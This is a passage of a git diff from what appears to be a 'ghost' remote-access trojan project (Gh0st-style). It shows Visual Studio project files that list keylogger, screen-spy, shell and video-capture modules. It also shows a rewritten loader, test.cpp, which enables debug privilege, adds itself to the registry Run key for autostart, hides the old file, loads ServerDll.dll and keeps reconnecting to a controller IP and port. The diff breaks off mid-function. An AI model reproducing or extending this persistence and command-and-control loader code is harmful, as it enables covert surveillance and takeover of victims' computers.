<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IntDir>$(Configuration)\ghost</IntDir>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
@@ -72,7 +77,7 @@
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
|
||||
@@ -2,10 +2,10 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
|
||||
<LocalDebuggerCommandArguments>127.0.0.1 6543</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
|
||||
<LocalDebuggerCommandArguments>127.0.0.1 2356</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
244
client/ghost_vs2015.vcxproj
Normal file
244
client/ghost_vs2015.vcxproj
Normal file
@@ -0,0 +1,244 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ghost</ProjectName>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IntDir>$(Configuration)\ghost</IntDir>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IntDir>$(Configuration)\ghost</IntDir>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<EntryPointSymbol>
|
||||
</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<EntryPointSymbol>
|
||||
</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\commands.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
10236
client/qedit.h
10236
client/qedit.h
File diff suppressed because it is too large
Load Diff
179
client/test.cpp
179
client/test.cpp
@@ -1,23 +1,52 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <iostream>
|
||||
#include <corecrt_io.h>
|
||||
#include "common/commands.h"
|
||||
#include "StdAfx.h"
|
||||
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
#define REG_NAME "a_ghost"
|
||||
|
||||
typedef void (*StopRun)();
|
||||
|
||||
typedef bool (*IsStoped)();
|
||||
|
||||
typedef BOOL (*IsExit)();
|
||||
|
||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
StopRun stop = NULL;
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||
IsStoped bStop = NULL;
|
||||
|
||||
struct CONNECT_ADDRESS
|
||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
IsExit bExit = NULL;
|
||||
|
||||
BOOL status = 0;
|
||||
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 6543, CLIENT_TYPE_DLL };
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
{
|
||||
DWORD dwFlag;
|
||||
char szServerIP[MAX_PATH];
|
||||
int iPort;
|
||||
}g_ConnectAddress={0x1234567,"",0};
|
||||
HANDLE hToken = NULL;
|
||||
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
|
||||
|
||||
if( hRet)
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
||||
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -30,6 +59,8 @@ struct CONNECT_ADDRESS
|
||||
*/
|
||||
BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
||||
{
|
||||
DebugPrivilege();
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||
|
||||
@@ -50,39 +81,131 @@ BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||
{
|
||||
status = 1;
|
||||
if(stop) stop();
|
||||
while(1==status)
|
||||
Sleep(20);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>.
|
||||
BOOL Run(const char* argv1, int argv2);
|
||||
|
||||
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
||||
// [settings]
|
||||
// localIp=XXX
|
||||
// ghost=6688
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
if(!SetSelfStart(argv[0], "a_ghost"))
|
||||
if(!SetSelfStart(argv[0], REG_NAME))
|
||||
{
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>.\n";
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||
}
|
||||
char path[_MAX_PATH], *p = path;
|
||||
status = 0;
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
|
||||
do {
|
||||
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
||||
if (ret == 1) {
|
||||
return -1;
|
||||
}
|
||||
} while (status == 0);
|
||||
|
||||
status = 0;
|
||||
return -1;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>: IP <20><> <20>˿<EFBFBD>.
|
||||
BOOL Run(const char* argv1, int argv2) {
|
||||
BOOL result = FALSE;
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p+1, "ServerDll.dll");
|
||||
*(p + 1) = 0;
|
||||
std::string folder = path;
|
||||
std::string oldFile = folder + "ServerDll.old";
|
||||
std::string newFile = folder + "ServerDll.new";
|
||||
strcpy(p + 1, "ServerDll.dll");
|
||||
BOOL ok = TRUE;
|
||||
if (_access(newFile.c_str(), 0) != -1) {
|
||||
if (_access(oldFile.c_str(), 0) != -1)
|
||||
{
|
||||
if (!DeleteFileA(oldFile.c_str()))
|
||||
{
|
||||
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
||||
ok = FALSE;
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
ok = FALSE;
|
||||
}else {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||
{
|
||||
Mprintf("File created and set to hidden: %s\n",oldFile.c_str());
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
MoveFileA(oldFile.c_str(), path);// recover
|
||||
}else if (ok){
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
HMODULE hDll = LoadLibraryA(path);
|
||||
typedef void (*TestRun)(char* strHost,int nPort);
|
||||
typedef void (*TestRun)(char* strHost, int nPort);
|
||||
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
if (run)
|
||||
{
|
||||
char *ip = g_ConnectAddress.szServerIP;
|
||||
int &port = g_ConnectAddress.iPort;
|
||||
if (0 == strlen(ip))
|
||||
{
|
||||
strcpy(p+1, "remote.ini");
|
||||
GetPrivateProfileStringA("remote", "ip", "127.0.0.1", ip, _MAX_PATH, path);
|
||||
port = GetPrivateProfileIntA("remote", "port", 2356, path);
|
||||
}
|
||||
printf("[remote] %s:%d\n", ip, port);
|
||||
run(ip, port);
|
||||
#ifdef _DEBUG
|
||||
while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } }
|
||||
if (stop) stop();
|
||||
while(bStop && !bStop()) Sleep(200);
|
||||
#endif
|
||||
bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
if (NULL == run) {
|
||||
if (hDll) FreeLibrary(hDll);
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
Sleep(3000);
|
||||
return FALSE;
|
||||
}
|
||||
return -1;
|
||||
do
|
||||
{
|
||||
char ip[_MAX_PATH];
|
||||
strcpy_s(ip, g_ConnectAddress.ServerIP());
|
||||
int port = g_ConnectAddress.ServerPort();
|
||||
strcpy(p + 1, "settings.ini");
|
||||
if (_access(path, 0) == -1) { // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ȴӲ<C8B4><D3B2><EFBFBD><EFBFBD><EFBFBD>ȡֵ<C8A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>g_ConnectAddressȡֵ.
|
||||
strcpy(ip, argv1);
|
||||
port = argv2;
|
||||
}
|
||||
else {
|
||||
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
|
||||
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
|
||||
}
|
||||
Mprintf("[server] %s:%d\n", ip, port);
|
||||
do
|
||||
{
|
||||
run(ip, port);
|
||||
while (bStop && !bStop() && 0 == status)
|
||||
Sleep(20);
|
||||
} while (bExit && !bExit() && 0 == status);
|
||||
|
||||
while (bStop && !bStop() && 1 == status)
|
||||
Sleep(20);
|
||||
if (bExit) {
|
||||
result = bExit();
|
||||
}
|
||||
} while (result == 2);
|
||||
if (!FreeLibrary(hDll)) {
|
||||
